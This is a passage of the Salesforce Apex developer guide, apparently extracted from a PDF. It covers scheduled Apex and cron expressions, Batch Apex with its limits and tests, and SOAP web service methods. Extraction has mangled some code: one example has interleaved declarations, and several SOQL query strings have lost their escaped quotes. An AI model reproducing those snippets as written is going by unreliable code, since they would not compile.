  • 228. Invoking Apex Apex Scheduler global void execute(SchedulableContext ctx) { CronTrigger ct = [SELECT Id, CronExpression, TimesTriggered, NextFireTime FROM CronTrigger WHERE Id = :ctx.getTriggerId()]; System.assertEquals(CRON_EXP, ct.CronExpression); System.assertEquals(0, ct.TimesTriggered); System.assertEquals('2022-09-03 00:00:00', String.valueOf(ct.NextFireTime)); Account a = [SELECT Id, Name FROM Account WHERE Name = 'testScheduledApexFromTestMethod']; a.name = 'testScheduledApexFromTestMethodUpdated'; update a; } } The following tests the above class: @istest class TestClass { static testmethod void test() { Test.startTest(); Account a = new Account(); a.Name = 'testScheduledApexFromTestMethod'; insert a; // Schedule the test job String jobId = System.schedule('testBasicScheduledApex', TestScheduledApexFromTestMethod.CRON_EXP, new TestScheduledApexFromTestMethod()); // Get the information from the CronTrigger API object CronTrigger ct = [SELECT Id, CronExpression, TimesTriggered, NextFireTime FROM CronTrigger WHERE id = :jobId]; // Verify the expressions are the same System.assertEquals(TestScheduledApexFromTestMethod.CRON_EXP, ct.CronExpression); // Verify the job has not run System.assertEquals(0, ct.TimesTriggered); // Verify the next time the job will run System.assertEquals('2022-09-03 00:00:00', String.valueOf(ct.NextFireTime)); System.assertNotEquals('testScheduledApexFromTestMethodUpdated', [SELECT id, name FROM account WHERE id = :a.id].name); Test.stopTest(); System.assertEquals('testScheduledApexFromTestMethodUpdated', [SELECT Id, Name FROM Account WHERE Id = :a.Id].Name); } } Using the System.Schedule Method After you implement a class with the Schedulable interface, use the System.Schedule method to execute it. The scheduler runs as system—all classes are executed, whether or not the user has permission to execute the class. Note: Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t add more scheduled classes than the 100 that are allowed. In particular, consider API bulk updates, 204
  • 229. Invoking Apex Apex Scheduler import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time. The System.Schedule method takes three arguments: a name for the job, an expression used to represent the time and date the job is scheduled to run, and the name of the class. This expression has the following syntax: Seconds Minutes Hours Day_of_month Month Day_of_week optional_year Note: Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service availability. The System.Schedule method uses the user's timezone for the basis of all schedules. The following are the values for the expression: Name Values Special Characters Seconds 0–59 None Minutes 0–59 None Hours 0–23 , - * / Day_of_month 1–31 , - * ? / L W Month 1–12 or the following: • JAN • FEB • MAR • APR • MAY • JUN • JUL • AUG • SEP • OCT • NOV • DEC , - * / Day_of_week 1–7 or the following: • SUN • MON • TUE • WED • THU • FRI • SAT , - * ? / L # optional_year null or 1970–2099 , - * / The special characters are defined as follows: 205
  • 230. Invoking Apex Apex Scheduler Special Character Description , Delimits values. For example, use JAN, MAR, APR to specify more than one month. - Specifies a range. For example, use JAN-MAR to specify more than one month. * Specifies all values. For example, if Month is specified as *, the job is scheduled for every month. ? Specifies no specific value. This is only available for Day_of_month and Day_of_week, and is generally used when specifying a value for one and not the other. / Specifies increments. The number before the slash specifies when the intervals will begin, and the number after the slash is the interval amount. For example, if you specify 1/5 for Day_of_month, the Apex class runs every fifth day of the month, starting on the first of the month. L Specifies the end of a range (last). This is only available for Day_of_month and Day_of_week. When used with Day of month, L always means the last day of the month, such as January 31, February 28 for leap years, and so on. When used with Day_of_week by itself, it always means 7 or SAT. When used with a Day_of_week value, it means the last of that type of day in the month. For example, if you specify 2L, you are specifying the last Monday of the month. Do not use a range of values with L as the results might be unexpected. W Specifies the nearest weekday (Monday-Friday) of the given day. This is only available for Day_of_month. For example, if you specify 20W, and the 20th is a Saturday, the class runs on the 19th. If you specify 1W, and the first is a Saturday, the class does not run in the previous month, but on the third, which is the following Monday. Tip: Use the L and W together to specify the last weekday of the month. # Specifies the nth day of the month, in the format weekday#day_of_month. This is only available for Day_of_week. The number before the # specifies weekday (SUN-SAT). The number after the # specifies the day of the month. For example, specifying 2#2 means the class runs on the second Monday of every month. The following are some examples of how to use the expression. Expression Description 0 0 13 * * ? Class runs every day at 1 PM. 0 0 22 ? * 6L Class runs the last Friday of every month at 10 PM. 0 0 10 ? * MON-FRI Class runs Monday through Friday at 10 AM. 0 0 20 * * ? 2010 Class runs every day at 8 PM during the year 2010. 206
  • 231. Invoking Apex Batch Apex In the following example, the class proschedule implements the Schedulable interface. The class is scheduled to run at 8 AM, on the 13th of February. proschedule p = new proschedule(); String sch = '0 0 8 13 2 ?'; system.schedule('One Time Pro', sch, p); Using the System.scheduleBatch Method for Batch Jobs You can call the System.scheduleBatch method to schedule a batch job to run once at a specified time in the future. This method is available only for batch classes and doesn’t require the implementation of the Schedulable interface. This makes it easy to schedule a batch job for one execution. For more details on how to use the System.scheduleBatch method, see Using the System.scheduleBatch Method. Apex Scheduler Limits • You can only have 100 scheduled Apex jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs page in Salesforce and creating a custom view with a type filter equal to “Scheduled Apex”. You can also programmatically query the CronTrigger and CronJobDetail objects to get the count of Apex scheduled jobs. • The maximum number of scheduled Apex executions per a 24-hour period is 250,000 or the number of user licenses in your organization multiplied by 200, whichever is greater. This is an organization-wide limit and is shared with all other asynchronous Apex: batch Apex and future methods. The licenses that count toward this limit are full Salesforce user licenses or Force.com App Subscription user licenses. Chatter Free, Chatter customer users, Customer Portal User, and partner portal User licenses aren’t included. Apex Scheduler Best Practices • • • • • • Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service availability. Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t add more scheduled classes than the 100 that are allowed. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time. Though it's possible to do additional processing in the execute method, we recommend that all processing take place in a separate class. You can't use the getContent and getContentAsPDF PageReference methods in scheduled Apex. Synchronous Web service callouts are not supported from scheduled Apex. To be able to make callouts, make an asynchronous callout by placing the callout in a method annotated with @future(callout=true) and call this method from scheduled Apex. However, if your scheduled Apex executes a batch job, callouts are supported from the batch class. See Using Batch Apex. Apex jobs scheduled to run during a Salesforce service maintenance downtime will be scheduled to run after the service comes back up, when system resources become available. If a scheduled Apex job was running when downtime occurred, the job is rolled back and scheduled again after the service comes back up. Note that after major service upgrades, there might be longer delays than usual for starting scheduled Apex jobs because of system usage spikes. See Also: Schedulable Interface Batch Apex A developer can now employ batch Apex to build complex, long-running processes on the Force.com platform. For example, a developer could build an archiving solution that runs on a nightly basis, looking for records past a certain date and adding them to an archive. Or a developer could build a data cleansing operation that goes through all Accounts and Opportunities on a nightly basis and updates them if necessary, based on custom criteria. 207
  • 232. Invoking Apex Batch Apex Batch Apex is exposed as an interface that must be implemented by the developer. Batch jobs can be programmatically invoked at runtime using Apex. You can only have five queued or active batch jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs page in Salesforce or programmatically using SOAP API to query the AsyncapexJob object. Warning: Use extreme care if you are planning to invoke a batch job from a trigger. You must be able to guarantee that the trigger will not add more batch jobs than the five that are allowed. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time. Batch jobs can also be programmatically scheduled to run at specific times using the Apex scheduler, or scheduled using the Schedule Apex page in the Salesforce user interface. For more information on the Schedule Apex page, see “Scheduling Apex” in the Salesforce online help. The batch Apex interface is also used for Apex managed sharing recalculations. For more information on batch jobs, continue to Using Batch Apex on page 208. For more information on Apex managed sharing, see Understanding Apex Managed Sharing on page 162. Using Batch Apex To use batch Apex, you must write an Apex class that implements the Salesforce-provided interface Database.Batchable, and then invoke the class programmatically. To monitor or stop the execution of the batch Apex job, from Setup, click Monitoring > Apex Jobs or Jobs > Apex Jobs. Implementing the Database.Batchable Interface The Database.Batchable interface contains three methods that must be implemented: • start method global (Database.QueryLocator | Iterable<sObject>) start(Database.BatchableContext bc) {} The start method is called at the beginning of a batch Apex job. Use the start method to collect the records or objects to be passed to the interface method execute. This method returns either a Database.QueryLocator object or an iterable that contains the records or objects being passed into the job. Use the Database.QueryLocator object when you are using a simple query (SELECT) to generate the scope of objects used in the batch job. If you use a querylocator object, the governor limit for the total number of records retrieved by SOQL queries is bypassed. For example, a batch Apex job for the Account object can return a QueryLocator for all account records (up to 50 million records) in an organization. Another example is a sharing recalculation for the Contact object that returns a QueryLocator for all account records in an organization. Use the iterable when you need to create a complex scope for the batch job. You can also use the iterable to create your own custom process for iterating through the list. Important: If you use an iterable, the governor limit for the total number of records retrieved by SOQL queries is still enforced. • execute method: global void execute(Database.BatchableContext BC, list<P>){} 208
  • 233. Invoking Apex Batch Apex The execute method is called for each batch of records passed to the method. Use this method to do all required processing for each chunk of data. This method takes the following: ◊ A reference to the Database.BatchableContext object. ◊ A list of sObjects, such as List<sObject>, or a list of parameterized types. If you are using a Database.QueryLocator, the returned list should be used. Batches of records are not guaranteed to execute in the order they are received from the start method. • finish method global void finish(Database.BatchableContext BC){} The finish method is called after all batches are processed. Use this method to send confirmation emails or execute post-processing operations. Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000 records and is executed without the optional scope parameter from Database.executeBatch is considered five transactions of 200 records each. The Apex governor limits are reset for each transaction. If the first transaction succeeds but the second fails, the database updates made in the first transaction are not rolled back. Using Database.BatchableContext All of the methods in the Database.Batchable interface require a reference to a Database.BatchableContext object. Use this object to track the progress of the batch job. The following is the instance method with the Database.BatchableContext object: Name getJobID Arguments Returns Description ID Returns the ID of the AsyncApexJob object associated with this batch job as a string. Use this method to track the progress of records in the batch job. You can also use this ID with the System.abortJob method. The following example uses the Database.BatchableContext to query the AsyncApexJob associated with the batch job. global void finish(Database.BatchableContext BC){ // Get the ID of the AsyncApexJob representing this batch job // from Database.BatchableContext. // Query the AsyncApexJob object to retrieve the current job's information. AsyncApexJob a = [SELECT Id, Status, NumberOfErrors, JobItemsProcessed, TotalJobItems, CreatedBy.Email FROM AsyncApexJob WHERE Id = :BC.getJobId()]; // Send an email to the Apex job's submitter notifying of job completion. Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage(); String[] toAddresses = new String[] {a.CreatedBy.Email}; mail.setToAddresses(toAddresses); mail.setSubject('Apex Sharing Recalculation ' + a.Status); mail.setPlainTextBody ('The batch Apex job processed ' + a.TotalJobItems + ' batches with '+ a.NumberOfErrors + ' failures.'); Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail }); } 209
  • 234. Invoking Apex Batch Apex Using Database.QueryLocator to Define Scope The start method can return either a Database.QueryLocator object that contains the records to be used in the batch job or an iterable. The following example uses a Database.QueryLocator: global class SearchAndReplace implements Database.Batchable<sObject>{ global global global global final final final final String String String String Query; Entity; Field; Value; global SearchAndReplace(String q, String e, String f, String v){ Query=q; Entity=e; Field=f;Value=v; } global Database.QueryLocator start(Database.BatchableContext BC){ return Database.getQueryLocator(query); } global void execute(Database.BatchableContext BC, List<sObject> scope){ for(sobject s : scope){ s.put(Field,Value); } update scope; } global void finish(Database.BatchableContext BC){ } } Using an Iterable in Batch Apex to Define Scope The start method can return either a Database.QueryLocator object that contains the records to be used in the batch job, or an iterable. Use an iterable to step through the returned items more easily. global class batchClass implements Database.batchable{ global Iterable start(Database.BatchableContext info){ return new CustomAccountIterable(); } global void execute(Database.BatchableContext info, List<Account> scope){ List<Account> accsToUpdate = new List<Account>(); for(Account a : scope){ a.Name = 'true'; a.NumberOfEmployees = 70; accsToUpdate.add(a); } update accsToUpdate; } global void finish(Database.BatchableContext info){ } } Using the Database.executeBatch Method You can use the Database.executeBatch method to programmatically begin a batch job. Important: When you call Database.executeBatch, Salesforce only adds the process to the queue. Actual execution may be delayed based on service availability. The Database.executeBatch method takes two parameters: 210
  • 235. Invoking Apex • • Batch Apex An instance of a class that implements the Database.Batchable interface. The Database.executeBatch method takes an optional parameter scope. This parameter specifies the number of records that should be passed into the execute method. Use this parameter when you have many operations for each record being passed in and are running into governor limits. By limiting the number of records, you are thereby limiting the operations per transaction. This value must be greater than zero. If the start method of the batch class returns a QueryLocator, the optional scope parameter of Database.executeBatch can have a maximum value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller batches of up to 2,000 records. If the start method of the batch class returns an iterable, the scope parameter value has no upper limit; however, if you use a very high number, you may run into other limits. The Database.executeBatch method returns the ID of the AsyncApexJob object, which can then be used to track the progress of the job. For example: ID batchprocessid = Database.executeBatch(reassign); AsyncApexJob aaj = [SELECT Id, Status, JobItemsProcessed, TotalJobItems, NumberOfErrors FROM AsyncApexJob WHERE ID =: batchprocessid ]; For more information about the AsyncApexJob object, see AsyncApexJob in the Object Reference for Salesforce and Force.com. You can also use this ID with the System.abortJob method. Using the System.scheduleBatch Method You can use the System.scheduleBatch method to schedule a batch job to run once at a future time. The System.scheduleBatch method takes the following parameters. • • • • An instance of a class that implements the Database.Batchable interface. The job name. The time interval, in minutes, after which the job should start executing. An optional scope value. This parameter specifies the number of records that should be passed into the execute method. Use this parameter when you have many operations for each record being passed in and are running into governor limits. By limiting the number of records, you are thereby limiting the operations per transaction. This value must be greater than zero. If the start method returns a QueryLocator, the optional scope parameter of System.scheduleBatch can have a maximum value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller batches of up to 2,000 records. If the start method returns an iterable, the scope parameter value has no upper limit; however, if you use a very high number, you may run into other limits. The System.scheduleBatch method returns the scheduled job ID (CronTrigger ID). This example schedules a batch job to run one minute from now by calling System.scheduleBatch. The example passes this method an instance of a batch class (the reassign variable), a job name, and a time interval of one minute. The optional scope parameter has been omitted. The method call returns the scheduled job ID, which is used to query CronTrigger to get the status of the corresponding scheduled job. String cronID = System.scheduleBatch(reassign, 'job example', 1); CronTrigger ct = [SELECT Id, TimesTriggered, NextFireTime FROM CronTrigger WHERE Id = :cronID]; // TimesTriggered should be 0 because the job hasn't started yet. System.assertEquals(0, ct.TimesTriggered); System.debug('Next fire time: ' + ct.NextFireTime); // For example: // Next fire time: 2013-06-03 13:31:23 For more information about CronTrigger, see CronTrigger in the Object Reference for Salesforce and Force.com. 211
  • 236. Invoking Apex Batch Apex Note: Some things to note about System.scheduleBatch: • • • • When you call System.scheduleBatch, Salesforce schedules the job for execution at the specified time. Actual execution might be delayed based on service availability. The scheduler runs as system—all classes are executed, whether or not the user has permission to execute the class. All scheduled Apex limits apply for batch jobs scheduled using System.scheduleBatch. After the batch job starts executing, all batch job limits apply and the job no longer counts toward scheduled Apex limits. After calling this method and before the batch job starts, you can use the returned scheduled job ID to abort the scheduled job using the System.abortJob method. Batch Apex Examples The following example uses a Database.QueryLocator: global class UpdateAccountFields implements Database.Batchable<sObject>{ global final String Query; global final String Entity; global final String Field; global final String Value; global UpdateAccountFields(String q, String e, String f, String v){ Query=q; Entity=e; Field=f;Value=v; } global Database.QueryLocator start(Database.BatchableContext BC){ return Database.getQueryLocator(query); } global void execute(Database.BatchableContext BC, List<sObject> scope){ for(Sobject s : scope){s.put(Field,Value); } update scope; } global void finish(Database.BatchableContext BC){ } } The following code can be used to call the above class: // Query for 10 accounts String q = 'SELECT Industry FROM Account LIMIT 10'; String e = 'Account'; String f = 'Industry'; String v = 'Consulting'; Id batchInstanceId = Database.executeBatch(new UpdateAccountFields(q,e,f,v), 5); To exclude accounts that were deleted and that are still in the Recycle Bin, append isDeleted=false in the SOQL query WHERE clause as shown in the query in this modified sample. // Query for accounts that aren't in the Recycle Bin String q = 'SELECT Industry FROM Account WHERE isDeleted=false LIMIT 10'; String e = 'Account'; String f = 'Industry'; String v = 'Consulting'; Id batchInstanceId = Database.executeBatch(new UpdateAccountFields(q,e,f,v), 5); 212
  • 237. Invoking Apex Batch Apex To exclude invoices that were deleted and that are still in the Recycle Bin, append isDeleted=false in the SOQL query WHERE clause as shown in the query in this modified sample. // Query for invoices that aren't in the Recycle Bin String q = 'SELECT Description__c FROM Invoice_Statement__c WHERE isDeleted=false LIMIT 10'; String e = 'Invoice_Statement__c'; String f = 'Description__c'; String v = 'Updated description'; Id batchInstanceId = Database.executeBatch(new UpdateInvoiceFields(q,e,f,v), 5); The following class uses batch Apex to reassign all accounts owned by a specific user to a different user. global class OwnerReassignment implements Database.Batchable<sObject>{ String query; String email; Id toUserId; Id fromUserId; global Database.querylocator start(Database.BatchableContext BC){ return Database.getQueryLocator(query);} global void execute(Database.BatchableContext BC, List<sObject> scope){ List<Account> accns = new List<Account>(); for(sObject s : scope){Account a = (Account)s; if(a.OwnerId==fromUserId){ a.OwnerId=toUserId; accns.add(a); } } update accns; } global void finish(Database.BatchableContext BC){ Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage(); mail.setToAddresses(new String[] {email}); mail.setReplyTo('batch@acme.com'); mail.setSenderDisplayName('Batch Processing'); mail.setSubject('Batch Process Completed'); mail.setPlainTextBody('Batch Process has completed'); Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail }); } } Use the following to execute the OwnerReassignment class in the previous example: OwnerReassignment reassign = new OwnerReassignment(); reassign.query = 'SELECT Id, Name, Ownerid FROM Account ' + 'WHERE ownerid='' + u.id + '''; reassign.email='admin@acme.com'; reassign.fromUserId = u; reassign.toUserId = u2; ID batchprocessid = Database.executeBatch(reassign); The following is an example of a batch Apex class for deleting records. global class BatchDelete implements Database.Batchable<sObject> { public String query; global Database.QueryLocator start(Database.BatchableContext BC){ return Database.getQueryLocator(query); } 213
  • 238. Invoking Apex Batch Apex global void execute(Database.BatchableContext BC, List<sObject> scope){ delete scope; DataBase.emptyRecycleBin(scope); } global void finish(Database.BatchableContext BC){ } } This code calls the BatchDelete batch Apex class to delete old documents. The specified query selects documents to delete for all documents that are in a specified folder and that are older than a specified date. Next, the sample invokes the batch job. BatchDelete BDel = new BatchDelete(); Datetime d = Datetime.now(); d = d.addDays(-1); // Replace this value with the folder ID that contains // the documents to delete. String folderId = '00lD000000116lD'; // Query for selecting the documents to delete BDel.query = 'SELECT Id FROM Document WHERE FolderId='' + folderId + '' AND CreatedDate < '+d.format('yyyy-MM-dd')+'T'+ d.format('HH:mm')+':00.000Z'; // Invoke the batch job. ID batchprocessid = Database.executeBatch(BDel); System.debug('Returned batch process ID: ' + batchProcessId); Using Callouts in Batch Apex To use a callout in batch Apex, you must specify Database.AllowsCallouts in the class definition. For example: global class SearchAndReplace implements Database.Batchable<sObject>, Database.AllowsCallouts{ } Callouts include HTTP requests as well as methods defined with the webService keyword. Using State in Batch Apex Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000 records and is executed without the optional scope parameter is considered five transactions of 200 records each. If you specify Database.Stateful in the class definition, you can maintain state across these transactions. When using Database.Stateful, only instance member variables retain their values between transactions. Static member variables don’t and are reset between transactions. Maintaining state is useful for counting or summarizing records as they're processed. For example, suppose your job processed opportunity records. You could define a method in execute to aggregate totals of the opportunity amounts as they were processed. If you don't specify Database.Stateful, all static and instance member variables are set back to their original values. The following example summarizes a custom field total__c as the records are processed: global class SummarizeAccountTotal implements Database.Batchable<sObject>, Database.Stateful{ global final String Query; global integer Summary; global SummarizeAccountTotal(String q){Query=q; Summary = 0; } global Database.QueryLocator start(Database.BatchableContext BC){ return Database.getQueryLocator(query); } 214
  • 239. Invoking Apex Batch Apex global void execute( Database.BatchableContext BC, List<sObject> scope){ for(sObject s : scope){ Summary = Integer.valueOf(s.get('total__c'))+Summary; } } global void finish(Database.BatchableContext BC){ } } In addition, you can specify a variable to access the initial state of the class. You can use this variable to share the initial state with all instances of the Database.Batchable methods. For example: // Implement the interface using a list of Account sObjects // Note that the initialState variable is declared as final global class MyBatchable implements Database.Batchable<sObject> { private final String initialState; String query; global MyBatchable(String intialState) { this.initialState = initialState; } global Database.QueryLocator start(Database.BatchableContext BC) { // Access initialState here return Database.getQueryLocator(query); } global void execute(Database.BatchableContext BC, List<sObject> batch) { // Access initialState here } global void finish(Database.BatchableContext BC) { // Access initialState here } } Note that initialState is the initial state of the class. You cannot use it to pass information between instances of the class during execution of the batch job. For example, if you changed the value of initialState in execute, the second chunk of processed records would not be able to access the new value: only the initial value would be accessible. Testing Batch Apex When testing your batch Apex, you can test only one execution of the execute method. You can use the scope parameter of the executeBatch method to limit the number of records passed into the execute method to ensure that you aren't running into governor limits. The executeBatch method starts an asynchronous process. This means that when you test batch Apex, you must make certain that the batch job is finished before testing against the results. Use the Test methods startTest and stopTest around the executeBatch method to ensure it finishes before continuing your test. All asynchronous calls made after the startTest method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously. If you don’t include the executeBatch method within the startTest and stopTest methods, the batch job executes at the end of your test method for Apex saved using Salesforce.com API version 25.0 and later, but not in earlier versions. Starting with Apex saved using Salesforce.com API version 22.0, exceptions that occur during the execution of a batch Apex job that is invoked by a test method are now passed to the calling test method, and as a result, causes the test method to fail. 215
  • 240. Invoking Apex Batch Apex If you want to handle exceptions in the test method, enclose the code in try and catch statements. You must place the catch block after the stopTest method. Note however that with Apex saved using Salesforce.com API version 21.0 and earlier, such exceptions don't get passed to the test method and don't cause test methods to fail. Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, do not count against your limits for the number of queued jobs. The example below tests the OwnerReassignment class. public static testMethod void testBatch() { user u = [SELECT ID, UserName FROM User WHERE username='testuser1@acme.com']; user u2 = [SELECT ID, UserName FROM User WHERE username='testuser2@acme.com']; String u2id = u2.id; // Create 200 test accounts - this simulates one execute. // Important - the Salesforce.com test framework only allows you to // test one execute. List <Account> accns = new List<Account>(); for(integer i = 0; i<200; i++){ Account a = new Account(Name='testAccount'+'i', Ownerid = u.ID); accns.add(a); } insert accns; Test.StartTest(); OwnerReassignment reassign = new OwnerReassignment(); reassign.query='SELECT ID, Name, Ownerid ' + 'FROM Account ' + 'WHERE OwnerId='' + u.Id + ''' + ' LIMIT 200'; reassign.email='admin@acme.com'; reassign.fromUserId = u.Id; reassign.toUserId = u2.Id; ID batchprocessid = Database.executeBatch(reassign); Test.StopTest(); System.AssertEquals( database.countquery('SELECT COUNT()' +' FROM Account WHERE OwnerId='' + u2.Id + '''), 200); } } Batch Apex Governor Limits Keep in mind the following governor limits for batch Apex: • • • • Up to five queued or active batch jobs are allowed for Apex. The maximum number of batch Apex method executions per a 24-hour period is 250,000 or the number of user licenses in your organization multiplied by 200, whichever is greater. Method executions include executions of the start, execute, and finish methods. This is an organization-wide limit and is shared with all other asynchronous Apex: scheduled Apex and future methods. The licenses that count toward this limit are full Salesforce user licenses or Force.com App Subscription user licenses. Chatter Free, Chatter customer users, Customer Portal User, and partner portal User licenses aren’t included. The batch Apex start method can have up to 15 query cursors open at a time per user. The batch Apex execute and finish methods each have a different limit of 5 open query cursors per user. A maximum of 50 million records can be returned in the Database.QueryLocator object. If more than 50 million records are returned, the batch job is immediately terminated and marked as Failed. 216
  • 241. Invoking Apex • • • • Batch Apex If the start method of the batch class returns a QueryLocator, the optional scope parameter of Database.executeBatch can have a maximum value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller batches of up to 2,000 records. If the start method of the batch class returns an iterable, the scope parameter value has no upper limit; however, if you use a very high number, you may run into other limits. If no size is specified with the optional scope parameter of Database.executeBatch, Salesforce chunks the records returned by the start method into batches of 200, and then passes each batch to the execute method. Apex governor limits are reset for each execution of execute. The start, execute, and finish methods can implement up to 10 callouts each. Only one batch Apex job's start method can run at a time in an organization. Batch jobs that haven’t started yet remain in the queue until they're started. Note that this limit doesn’t cause any batch job to fail and execute methods of batch Apex jobs still run in parallel if more than one job is running. Batch Apex Best Practices • • • • • • • • • • • • • • • Use extreme care if you are planning to invoke a batch job from a trigger. You must be able to guarantee that the trigger will not add more batch jobs than the five that are allowed. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time. When you call Database.executeBatch, Salesforce only places the job in the queue. Actual execution may be delayed based on service availability. When testing your batch Apex, you can test only one execution of the execute method. You can use the scope parameter of the executeBatch method to limit the number of records passed into the execute method to ensure that you aren't running into governor limits. The executeBatch method starts an asynchronous process. This means that when you test batch Apex, you must make certain that the batch job is finished before testing against the results. Use the Test methods startTest and stopTest around the executeBatch method to ensure it finishes before continuing your test. Use Database.Stateful with the class definition if you want to share instance member variables or data across job transactions. Otherwise, all member variables are reset to their initial state at the start of each transaction. Methods declared as future aren't allowed in classes that implement the Database.Batchable interface. Methods declared as future can't be called from a batch Apex class. Starting with Apex saved using Salesforce.com API version 26.0, you can call Database.executeBatch or System.scheduleBatch from the finish method. This enables you to start or schedule a new batch job when the current batch job finishes. For previous versions, you can’t call Database.executeBatch or System.scheduleBatch from any batch Apex method. Note that the version used is the version of the running batch class that starts or schedules another batch job. If the finish method in the running batch class calls a method in a helper class to start the batch job, the Salesforce.com API version of the helper class doesn’t matter. You cannot use the getContent and getContentAsPDF PageReference methods in a batch job. When a batch Apex job is run, email notifications are sent either to the user who submitted the batch job, or, if the code is included in a managed package and the subscribing organization is running the batch job, the email is sent to the recipient listed in the Apex Exception Notification Recipient field. Each method execution uses the standard governor limits anonymous block, Visualforce controller, or WSDL method. Each batch Apex invocation creates an AsyncApexJob record. Use the ID of this record to construct a SOQL query to retrieve the job’s status, number of errors, progress, and submitter. For more information about the AsyncApexJob object, see AsyncApexJob in the Object Reference for Salesforce and Force.com. For each 10,000 AsyncApexJob records, Apex creates one additional AsyncApexJob record of type BatchApexWorker for internal use. When querying for all AsyncApexJob records, we recommend that you filter out records of type BatchApexWorker using the JobType field. Otherwise, the query will return one more record for every 10,000 AsyncApexJob records. For more information about the AsyncApexJob object, see AsyncApexJob in the Object Reference for Salesforce and Force.com. All methods in the class must be defined as global or public. For a sharing recalculation, we recommend that the execute method delete and then re-create all Apex managed sharing for the records in the batch. This ensures the sharing is accurate and complete. 217
  • 242. Invoking Apex • Web Services Batch jobs queued before a Salesforce service maintenance downtime remain in the queue. After service downtime ends and when system resources become available, the queued batch jobs are executed. If a batch job was running when downtime occurred, the batch execution is rolled back and restarted after the service comes back up. See Also: Batchable Interface Web Services Exposing Apex Methods as SOAP Web Services You can expose your Apex methods as SOAP Web services so that external applications can access your code and your application. To expose your Apex methods, use WebService Methods. Tip: • • Apex SOAP Web services allow an external application to invoke Apex methods through SOAP Web services. Apex callouts enable Apex to invoke external Web or HTTP services. Apex REST API exposes your Apex classes and methods as REST Web services. See Exposing Apex Classes as REST Web Services. WebService Methods Apex class methods can be exposed as custom SOAP Web service calls. This allows an external application to invoke an Apex Web service to perform an action in Salesforce. Use the webService keyword to define these methods. For example: global class MyWebService { webService static Id makeContact(String lastName, Account a) { Contact c = new Contact(lastName = 'Weissman', AccountId = a.Id); insert c; return c.id; } } A developer of an external application can integrate with an Apex class containing webService methods by generating a WSDL for the class. To generate a WSDL from an Apex class detail page: 1. In the application from Setup, click Develop > Apex Classes. 2. Click the name of a class that contains webService methods. 3. Click Generate WSDL. Exposing Data with WebService Methods Invoking a custom webService method always uses system context. Consequently, the current user's credentials are not used, and any user who has access to these methods can use their full power, regardless of permissions, field-level security, or sharing rules. Developers who expose methods with the webService keyword should therefore take care that they are not inadvertently exposing any sensitive data. Warning: Apex class methods that are exposed through the API with the webService keyword don't enforce object permissions and field-level security by default. We recommend that you make use of the appropriate object or field describe result methods to check the current user’s access level on the objects and fields that the webService method is accessing. See DescribeSObjectResult Class and DescribeFieldResult Class. 218
  • 243. Invoking Apex Exposing Apex Methods as SOAP Web Services Also, sharing rules (record-level access) are enforced only when declaring a class with the with sharing keyword. This requirement applies to all Apex classes, including to classes that contain webService methods. To enforce sharing rules for webService methods, declare the class that contains these methods with the with sharing keyword. See Using the with sharing or without sharing Keywords. Considerations for Using the WebService Keyword When using the webService keyword, keep the following considerations in mind: • • • • • • • • • You cannot use the webService keyword when defining a class. However, you can use it to define top-level, outer class methods, and methods of an inner class. You cannot use the webService keyword to define an interface, or to define an interface's methods and variables. System-defined enums cannot be used in Web service methods. You cannot use the webService keyword in a trigger because you cannot define a method in a trigger. All classes that contain methods defined with the webService keyword must be declared as global. If a method or inner class is declared as global, the outer, top-level class must also be defined as global. Methods defined with the webService keyword are inherently global. These methods can be used by any Apex code that has access to the class. You can consider the webService keyword as a type of access modifier that enables more access than global. You must define any method that uses the webService keyword as static. You cannot deprecate webService methods or variables in managed package code. Because there are no SOAP analogs for certain Apex elements, methods defined with the webService keyword cannot take the following elements as parameters. While these elements can be used within the method, they also cannot be marked as return values. ◊ ◊ ◊ ◊ ◊ • • • Maps Sets Pattern objects Matcher objects Exception objects You must use the webService keyword with any member variables that you want to expose as part of a Web service. You should not mark these member variables as static. Salesforce denies access to Web service and executeanonymous requests from an AppExchange package that has Restricted access. Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field. The following example shows a class with Web service member variables as well as a Web service method: global class SpecialAccounts { global class AccountInfo { webService String AcctName; webService Integer AcctNumber; } webService static Account createAccount(AccountInfo info) { Account acct = new Account(); acct.Name = info.AcctName; acct.AccountNumber = String.valueOf(info.AcctNumber); insert acct; return acct; } 219
